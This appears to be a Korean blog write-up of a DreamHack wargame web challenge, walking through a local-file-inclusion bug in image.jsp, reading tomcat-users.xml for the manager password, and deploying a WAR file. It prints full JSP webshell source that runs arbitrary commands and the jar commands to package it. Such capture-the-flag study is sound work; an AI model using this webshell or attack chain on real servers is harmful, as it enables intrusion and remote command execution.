https://dreamhack.io/wargame/challenges/248
난이도: Level 2
image.jsp
<%@ page trimDirectiveWhitespaces="true" %>
<%
String filepath = getServletContext().getRealPath("resources") + "/";
String _file = request.getParameter("file");
response.setContentType("image/jpeg");
try{
java.io.FileInputStream fileInputStream = new java.io.FileInputStream(filepath + _file);
int i;
while ((i = fileInputStream.read()) != -1) {
out.write(i);
}
fileInputStream.close();
}catch(Exception e){
response.sendError(404, "Not Found !" );
}
%>
image.jsp 파일을 보면, 어떠한 필터링 없이 파일 명을 바로 입력받는 것을 볼 수 있습니다. 즉, LFI 취약점이 존재하여 서버에 내부 파일을 읽을 수 있습니다.
위와 같이, /etc/passwd 파일에 접근해 보면 image 형태로 뜨고 내용이 보이지 않습니다. 그 이유는 response.setContentType("image/jpeg"); 코드로 인해 응답을 이미지 형태로 전달받기 때문에 wget을 이용하여 파일 읽어야합니다.
tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="[**SECRET**]" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
LFI 취약점이 어디에 활용될 수 있는지 확인해 보던 중 tomcat-users.xml 파일을 보니 패스워드가 걸려있는 것을 확인하였습니다.
LFI 취약점을 활용하여 위와 같이 tomcat-users.xml 원본파일을 다운로드합니다.
파일을 확인해보면, tomcat 계정의 패스워드를 알아낼 수 있습니다.
Tomcat Manager인 tomcat 계정을 알아내었으니 /manager/html에 접속해 줍니다.
페이지를 내리다 보면, War file to deploy 기능이 존재하는데 여기에 webshell war file을 업로드하면 flag를 얻을 수 있을 것 같습니다.
index.jsp
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
index.jsp 파일을 생성하여 위 코드 내용을 포함시킵니다.
mkdir webshell
mv index.jsp webshell && cd webshell
jar -cvf ../webshell.war *
webshell.war 파일 생성을 위해 위 명령을 실행해줍니다.
위 과정을 모두 거친 후, webshell.war 파일을 /manager/html 페이지에 업로드해 줍니다.
업로드가 정상적으로 수행된 경우, 웹쉘에 접근할 수 있게 되고 아래와 같이 FLAG를 획득할 수 있게 됩니다.
'DreamHack' 카테고리의 다른 글
[DreamHack] Proton Memo (0) | 2023.09.05 |
---|---|
[DreamHack] Client Side Template Injection (2) | 2023.09.04 |
[DreamHack] funjs (0) | 2023.09.04 |
[DreamHack] weblog-1 (2) | 2023.09.01 |
[DreamHack] DOM XSS (0) | 2023.09.01 |